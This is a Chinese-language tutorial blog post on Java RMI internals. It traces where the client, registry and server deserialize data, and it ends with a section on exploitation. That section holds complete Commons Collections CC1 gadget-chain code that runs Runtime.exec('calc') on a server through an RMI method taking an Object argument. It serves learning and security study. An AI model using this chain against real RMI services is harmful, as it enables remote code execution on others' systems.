首页 > 其他分享 >RMI

RMI

时间:2024-11-26 15:48:56浏览次数:2  
标签:RMI java return import new 序列化 class

Java-RMI

参考:

b站白日梦组长:https://www.bilibili.com/video/BV1L3411a7ax?p=5&spm_id_from=pageDriver&vd_source=772372a8c6f216ba8975276dca04045e

http://www.mi1k7ea.com/2019/09/01/Java-RMI原理与使用/

https://xz.aliyun.com/t/9261#toc-4

https://www.bilibili.com/video/BV1L3411a7ax?p=2&vd_source=772372a8c6f216ba8975276dca04045e

image-20240830110631114

RMI允许远程调用对象。RMI机制有一个服务端一个客户端,服务端创建注册中心,并绑定相应的对象,并给对象起一个名字,方便获取。客户端获取注册中心,通过注册中心使用给对象起的名字,可以定位到对象并调用。stub和skeleton实际上分别是一个代理

注册中心有一个固定的端口

分析

基本使用

一个继承了Remote的接口remObj:

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface remObj extends Remote {
    void sayName(String name) throws RemoteException;
}

IRemoteObj接口的实现类remObjIml:

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class remObjIml extends UnicastRemoteObject implements remObj {
    protected remObjIml() throws RemoteException {
        super();
    }
    @Override
    public void sayName(String name) {
        System.out.println(name);
    }
}

服务端:

实例化一个接口实现类IRemoteObjIml的对象用于绑定到注册中心

实例化一个注册中心

把IRemoteObjIml的对象绑定到注册中心,并起一个名字

package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;


public class Main {
    public static void main(String[] args) throws Exception{
        remObjIml obj = new remObjIml();
        //remObjIml stub = (remObjIml) UnicastRemoteObject.exportObject(obj,0);
        Registry registry = LocateRegistry.createRegistry(12347);
        registry.bind("theName",obj);
    }
}

客户端:

通过ip和port得到注册中心,然后使用lookup找到要调用的对象

package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`,
// then press Enter. You can now see whitespace characters in your code.
public class Main {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",12347);
        remObj rObj = (remObj) registry.lookup("theName");
        rObj.sayName("gr3");
    }
}

调用过程

客户端请求注册中心-两处反序列化点

第一处:

LocateRegistry.getRegistry是通过参数本地创建stub,而registry.lookup是通过反序列化获取动态代理的对象,最后是通过这个动态代理执行方法

 Registry registry = LocateRegistry.getRegistry("127.0.0.1",12346);//调试跟踪获取注册中心的逻辑

跟进getRegistry函数:

public static Registry getRegistry(String host, int port)
        throws RemoteException
    {
        return getRegistry(host, port, null);
    }

继续步入:

public static Registry getRegistry(String host, int port,
                                       RMIClientSocketFactory csf)
        throws RemoteException
    {
        Registry registry = null;

        if (port <= 0)
            port = Registry.REGISTRY_PORT;

        if (host == null || host.length() == 0) {
            try {
                host = java.net.InetAddress.getLocalHost().getHostAddress();
            } catch (Exception e) {
                host = "";
            }
        }
       the pregenerated stub class for RegistryImpl.
         **/
        LiveRef liveRef =
            new LiveRef(new ObjID(ObjID.REGISTRY_ID),
                        new TCPEndpoint(host, port, csf, null),
                        false);
        RemoteRef ref =
            (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

        return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
    }

最终发现这里是createProxy创建了一个stub类对象,也就是这里的注册中心实际上是通过传入的ip和端口,在客户端又创建了一个对象

remObj rObj = (remObj) registry.lookup("theName");//调式跟踪获lookup的逻辑

我们知道在远程调用类时很可能是通过序列化、反序列化传输,而上面的getRegistry不是通过反序列化而是直接本地创建,现在看这里的lookup获取键对应的类是怎样实现的

registry变量实际上是一个RegistryImpl_Stub类的对象

RegistryImpl_Stub.lookup函数我们可以看到反序列化的点

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
        try {
            RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var18) {
                throw new MarshalException("error marshalling arguments", var18);
            }

            super.ref.invoke(var2);

            Remote var23;
            try {
                ObjectInput var6 = var2.getInputStream();
                var23 = (Remote)var6.readObject();//反序列化获取动态代理
            } catch (IOException var15) {
                throw new UnmarshalException("error unmarshalling return", var15);
            } catch (ClassNotFoundException var16) {
                throw new UnmarshalException("error unmarshalling return", var16);
            } finally {
                super.ref.done(var2);
            }

            return var23;
        } catch (RuntimeException var19) {
            throw var19;
        } catch (RemoteException var20) {
            throw var20;
        } catch (NotBoundException var21) {
            throw var21;
        } catch (Exception var22) {
            throw new UnexpectedException("undeclared checked exception", var22);
        }
    }

第二处:

RegistryImpl_Stub.lookup的super.ref.invoke(var2);--->jrmp攻击

super.ref.invoke(var2)->unicastRef.invoke->call.executeCall()->StreamRemoteCall.executeCall->readObject

其中StreamRemoteCall.executeCall有:

try {
                ex = in.readObject();
            } catch (Exception e) {
                throw new UnmarshalException("Error unmarshaling return", e);
            }

客户端请求服务端

Registry registry = LocateRegistry.getRegistry("127.0.0.1",12346);
remObj rObj = (remObj) registry.lookup("theName");
rObj.sayName();//这里通过代理对象请求服务端执行方法

依然找反序列化点,rObj.sayName();这里下断点步入

第一处反序列化点:

RemoteObjectInvocationHandler.invokeRemoteMethod的ref.invoke((Remote)proxy,method,args,getMethodHash(method))

步入到UnicastRef.invoke,这个函数里面有代码:call.executeCall(),所以就是上面分析的lookup的第二处反序列化点

RemoteObjectInvocationHandler.invokeRemoteMethod->UnicastRef.invoke->call.executeCall()->StreamRemoteCall.executeCall->readObject

第二处反序列化点:

UnicastRef.invoke函数里面的代码:Object returnValue = unmarshalValue(rtype, in)

unmarshalValue检查调用方法返回值的类型,不满足所列条件就反序列化读取返回值:

protected static Object unmarshalValue(Class<?> type, ObjectInput in)
        throws IOException, ClassNotFoundException
    {
        if (type.isPrimitive()) {
            if (type == int.class) {
                return Integer.valueOf(in.readInt());
            } else if (type == boolean.class) {
                return Boolean.valueOf(in.readBoolean());
            } else if (type == byte.class) {
                return Byte.valueOf(in.readByte());
            } else if (type == char.class) {
                return Character.valueOf(in.readChar());
            } else if (type == short.class) {
                return Short.valueOf(in.readShort());
            } else if (type == long.class) {
                return Long.valueOf(in.readLong());
            } else if (type == float.class) {
                return Float.valueOf(in.readFloat());
            } else if (type == double.class) {
                return Double.valueOf(in.readDouble());
            } else {
                throw new Error("Unrecognized primitive type: " + type);
            }
        } else {
            return in.readObject();
        }
    }

注册中心处理客户端请求

客户端通过一个字符串来注册中心找对应的对象,而这个字符串是序列化后传过去的,注册中心是反序列化还原这个字符串

现在的问题是在哪里打断点可以让注册中心处理请求时停下来(在寻找断点过程不太好找,要么自己跟逐一分析,要么去看开头说的b站那个视频大致了解后再自己跟去理解)

分析:

给LocateRegistry.getRegistry处打上断点,动态调试,走到RegistryImpl构造函数的setup

image-20240904105614308

步入,因为exportObject是把对象发布出去,所以看到exportObject就跟进去看,看有没有处理请求的逻辑

image-20240904105912704

image-20240904110004860

步入transport.exportObject发现llisten(),看名字是监听相关的,跟进去看看

image-20240904110102923

image-20240904110213333

有新开线程,步入,看到它的run():

public void run() {
            try {
                executeAcceptLoop();
            } finally {
                try {
                    /*
                     * Only one accept loop is started per server
                     * socket, so after no more connections will be
                     * accepted, ensure that the server socket is no
                     * longer listening.
                     */
                    serverSocket.close();
                } catch (IOException e) {
                }
            }
        }

进入executeAcceptLoop()函数,看到线程处

image-20240904110427032

还是步入,看run():

public void run() {
            Thread t = Thread.currentThread();
            String name = t.getName();
            try {
                t.setName("RMI TCP Connection(" +
                          connectionCount.incrementAndGet() +
                          ")-" + remoteHost);
                AccessController.doPrivileged((PrivilegedAction<Void>)() -> {
                    run0();
                    return null;
                }, NOPERMS_ACC);
            } finally {
                t.setName(name);
            }
        }

进入run0->handleMessages->serviceCall(call)->disp.dispatch(impl, call)

serviceCall(call)里面就是处理请求的逻辑,而dispatch函数里就有对传输字符串进行反序列化的逻辑,所以在disp.dispatch(impl, call)打一个断点,前面有个if判断可能会抛出异常导致到不了disp.dispatch(impl, call),所以if处打一个断点

image-20240904111431247

现在调试运行服务端,客户端请求

发现target封装的stub有三个流程:RegistryImpl_Stub->DGCImpl_Stub->$Proxy

image-20240904112014171

当target.stub=RegistryImpl_Stub,相应的逻辑是注册中心的操作

当target.stub=DGCImpl_Stub,相应的逻辑是DGC的操作,dgc是用来垃圾回收

当target.stub=$Proxy,那就是服务端通过代理的一些操作

我们的目的是看注册中心对客户端请求的处理,跟进对应的dispatch

image-20240904112809436

步入oldDispatch->skel.dispatch

image-20240904112858073

skel.dispatch:调试时知道传入skel.dispatch的op=2,也就是进入case 2,这里反序列化读取客户端传过来的字符串,这个字符串就是注册中心绑定对象时那个名称

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        if (var4 != 4905912898345647071L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
            RegistryImpl var6 = (RegistryImpl)var1;
            String var7;
            Remote var8;
            ObjectInput var10;
            ObjectInput var11;
            switch (var3) {
                case 0:
                    try {
                        var11 = var2.getInputStream();
                        var7 = (String)var11.readObject();
                        var8 = (Remote)var11.readObject();
                    } catch (IOException var94) {
                        throw new UnmarshalException("error unmarshalling arguments", var94);
                    } catch (ClassNotFoundException var95) {
                        throw new UnmarshalException("error unmarshalling arguments", var95);
                    } finally {
                        var2.releaseInputStream();
                    }

                    var6.bind(var7, var8);

                    try {
                        var2.getResultStream(true);
                        break;
                    } catch (IOException var93) {
                        throw new MarshalException("error marshalling return", var93);
                    }
                case 1:
                    var2.releaseInputStream();
                    String[] var97 = var6.list();

                    try {
                        ObjectOutput var98 = var2.getResultStream(true);
                        var98.writeObject(var97);
                        break;
                    } catch (IOException var92) {
                        throw new MarshalException("error marshalling return", var92);
                    }
                case 2:
                    try {
                        var10 = var2.getInputStream();
                        var7 = (String)var10.readObject();
                    } catch (IOException var89) {
                        throw new UnmarshalException("error unmarshalling arguments", var89);
                    } catch (ClassNotFoundException var90) {
                        throw new UnmarshalException("error unmarshalling arguments", var90);
                    } finally {
                        var2.releaseInputStream();
                    }

                    var8 = var6.lookup(var7);

                    try {
                        ObjectOutput var9 = var2.getResultStream(true);
                        var9.writeObject(var8);
                        break;
                    } catch (IOException var88) {
                        throw new MarshalException("error marshalling return", var88);
                    }
                case 3:
                    try {
                        var11 = var2.getInputStream();
                        var7 = (String)var11.readObject();
                        var8 = (Remote)var11.readObject();
                    } catch (IOException var85) {
                        throw new UnmarshalException("error unmarshalling arguments", var85);
                    } catch (ClassNotFoundException var86) {
                        throw new UnmarshalException("error unmarshalling arguments", var86);
                    } finally {
                        var2.releaseInputStream();
                    }

                    var6.rebind(var7, var8);

                    try {
                        var2.getResultStream(true);
                        break;
                    } catch (IOException var84) {
                        throw new MarshalException("error marshalling return", var84);
                    }
                case 4:
                    try {
                        var10 = var2.getInputStream();
                        var7 = (String)var10.readObject();
                    } catch (IOException var81) {
                        throw new UnmarshalException("error unmarshalling arguments", var81);
                    } catch (ClassNotFoundException var82) {
                        throw new UnmarshalException("error unmarshalling arguments", var82);
                    } finally {
                        var2.releaseInputStream();
                    }

                    var6.unbind(var7);

                    try {
                        var2.getResultStream(true);
                        break;
                    } catch (IOException var80) {
                        throw new MarshalException("error marshalling return", var80);
                    }
                default:
                    throw new UnmarshalException("invalid method number");
            }

        }
    }

服务端处理客户端请求

客户端调用方法如果有参数值,参数值是序列化后传给服务端,所以服务端会反序列化得到这个参数值

动态调试分析,断点和上一个注册中心那里一样,只是stub为proxy时步入dispatch查看具体逻辑

需要注意的是,这里客户端调用的方法要给一个字符串参数,才可以走到反序列化

image-20240904113628920

unmarshalValue(types[i], in):

protected static Object unmarshalValue(Class<?> type, ObjectInput in)
        throws IOException, ClassNotFoundException
    {
        if (type.isPrimitive()) {
            if (type == int.class) {
                return Integer.valueOf(in.readInt());
            } else if (type == boolean.class) {
                return Boolean.valueOf(in.readBoolean());
            } else if (type == byte.class) {
                return Byte.valueOf(in.readByte());
            } else if (type == char.class) {
                return Character.valueOf(in.readChar());
            } else if (type == short.class) {
                return Short.valueOf(in.readShort());
            } else if (type == long.class) {
                return Long.valueOf(in.readLong());
            } else if (type == float.class) {
                return Float.valueOf(in.readFloat());
            } else if (type == double.class) {
                return Double.valueOf(in.readDouble());
            } else {
                throw new Error("Unrecognized primitive type: " + type);
            }
        } else {
            return in.readObject();//type是字符串类型,反序列化
        }
    }

dgc-分布式垃圾回收

调用一个类的静态变量会完成类的初始化,类的初始化会执行类中静态代码块

注意

RMI机制客户端调用远程对象方法,实际上是客户端发送请求到服务端,由服务端执行代码,并将代码执行的结果返回给客户端。所以上述客户端需要接收服务端返回的结果并打印。(也就是RMI远程调用的方法其实是由服务端执行的

RMI调用过程使用网络传输,是通过序列化、反序列化进行的。

RMI是一个JVM远程调用另一个JVM的对象方法,服务端和客户端可以在两台不同的机器,也可以在同一机器的不同进程。

RMI利用

条件

1.被攻击的服务端有一个方法接收一个Object类型参数,这个参数客户端可控

2.服务端存在可以利用的pop链的包(如cc链依赖的包)

因为RMI调用就是通过序列化、反序列化的,所以在调用远程对象时会自动反序列化,这样cc链就有了触发的入口。

看到cc1链的利用代码:


package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

// Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`,
// then press Enter. You can now see whitespace characters in your code.
public class cc1 {
    public static void main(String[] args) throws Exception{
//        Class c = Runtime.class;
//        java.lang.reflect.Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
//        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//        invokerTransformer.transform(r);


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);

        Object o = constructor.newInstance(Override.class,mapProxy);
        serialize(o);
        unserialize("Object");

    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
        o.writeObject(object);
    }

    public static void unserialize(String file) throws Exception{
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
    }
}

可以看到这里我们是自己写了serialize和unserialize进行序列化、反序列化,而RMI调用已经给我们实现好了,所以我们在之前的基础上把之前的实现接口类加一个接收Object类型参数的方法来测试:

接口:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
    public String sale(String s) throws RemoteException;
    public void test(Object o) throws RemoteException;
}

实现接口类:

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IRemoteObjIml extends UnicastRemoteObject implements IRemoteObj{//该接口实现类继承UnicastRemoteObject
    protected IRemoteObjIml() throws RemoteException {
        super();
    }

    @Override
    public String sale(String s) throws RemoteException{
        System.out.println(s);
        return s;
    }
    
    public void test(Object o) throws RemoteException{
        System.out.println("test反序列化:"+o);
    }
}

那么修改payload,只需要在cc1的基础上加一个rmi调用,然后把要反序列化的类给到调用的test方法就可以了:


package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);

        Object o = constructor.newInstance(Override.class,mapProxy);
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",12346);
        IRemoteObj reobj = (IRemoteObj) registry.lookup("test");
        reobj.test(o);

    }
    
}

标签:RMI,java,return,import,new,序列化,class
From: https://www.cnblogs.com/q1stop/p/18570312

相关文章

  • Git Permission denied
    问题现象家里电脑gitpull项目时,提示:Permissiondenied,ssh-T测试又是正常的,如下图......
  • WIN10 离线环境安装 Microsoft.WindowsTerminal
    如果遇到离线安装后打开报错“文件系统错误12029”说明安装方式错误,没有配置license导致下面是安装步骤:1.下载安装文件windows10下载Microsoft.WindowsTerminal_1.21.3231.0_8wekyb3d8bbwe.msixbundle_Windows10_PreinstallKit.zip下载地址https://github.com/micro......
  • RMI原理及常见反序列化攻击手法
    这是对网上一些文章和视频的再总结,可以参考以下资料,师傅们分析的都挺详细了,我这就是记录一下师傅们写的博客。廖雪峰-给了简单的小例子,了解即可B站视频(白师傅)先知社区(小阳师傅)-讲的比较详细,偏理论,可以结合白师傅的视频学习理论g师傅-攻击手法讲的特别详细,学完理论后......
  • MySQL数据库与Informix:能否创建同名表?
    MySQL数据库与Informix:能否创建同名表?一、MySQL数据库中的同名表创建1.使用CREATETABLE...SELECT语句2.使用CREATETABLELIKE语句3.复制表结构并选择性复制数据4.使用同义词(Synonym)二、Informix数据库中的同名表创建1.使用不同所有者2.使用不同......
  • MySQL与Informix数据库中的同义表创建:深入解析与比较
    MySQL与Informix数据库中的同义表创建:深入解析与比较一、同义表的基本概念与用途1.定义与概念2.主要用途二、MySQL数据库中的同义表创建1.使用视图创建同义表2.使用别名创建同义表3.MySQL中的同义表限制与替代方案三、Informix数据库中的同义表创建......
  • Ubuntu超级终端Terminator使用教程
    Ubuntu超级终端Terminator使用教程yyxchina已于2024-11-2310:34:41修改阅读量96收藏7点赞数3公开文章标签:ubuntulinux运维编辑版权Ubuntu超级终端Terminator使用教程安装terminator(ubuntu上超好用的终端)超级终端Terminator简介1、简介ubuntu系统下,由于使用需求,往往需要......
  • RMI分布式通信及其应用
    分布式系统实验一RMI分布式通信及其应用实验名称:RMI分布式通信及其应用实验要求:利用RMI通讯机制,完成一个分布式通讯应用。实验学时:2学时。实验内容:设计一个基于JavaRMI通讯机制的在线拍卖系统。系统客户端(买家)通过服务器(拍卖中心)出价竞拍商品,实现客户端和服务器之间的交互......
  • Windows Powershell and WSL terminal 路径
    在windowspowershell中访问C,D盘cdC:,cdD:,...:PSC:\Users\phil>cdC:PSC:\Users\phil>pwdPath----C:\Users\philPSC:\Users\phil>在windowspowershell中访问WSL:PSC:\Users\phil>cd\\wsl.localhost\Ubuntu\home\phil\在W......
  • terminalizer - 录制终端生成 gif
    文章目录一、关于terminalizer效果展示特点下一步是什么?二、安装三、基本入门压缩四、使用Init配置记录播放渲染分享生成五、配置录制延时GIF终端主题水印FrameBox空帧WindowFrame浮动Frame实心Frame没有标题的实心FrameStylingHint六、FAQ&Issues如何支持Z......
  • 【Terminator】深入了解Terminator:高效终端的终极指南
    文章目录前言1.Terminator1.1Terminator简介1.2为什么选择Terminator?Terminator安装与使用Terminator安装Terminator使用与快捷键窗口管理分屏管理光标和文本操作查找和搜索其他总结前言该篇文章主要是介绍一个好用的终端关于ROS的一些学习笔记,可以看这个系......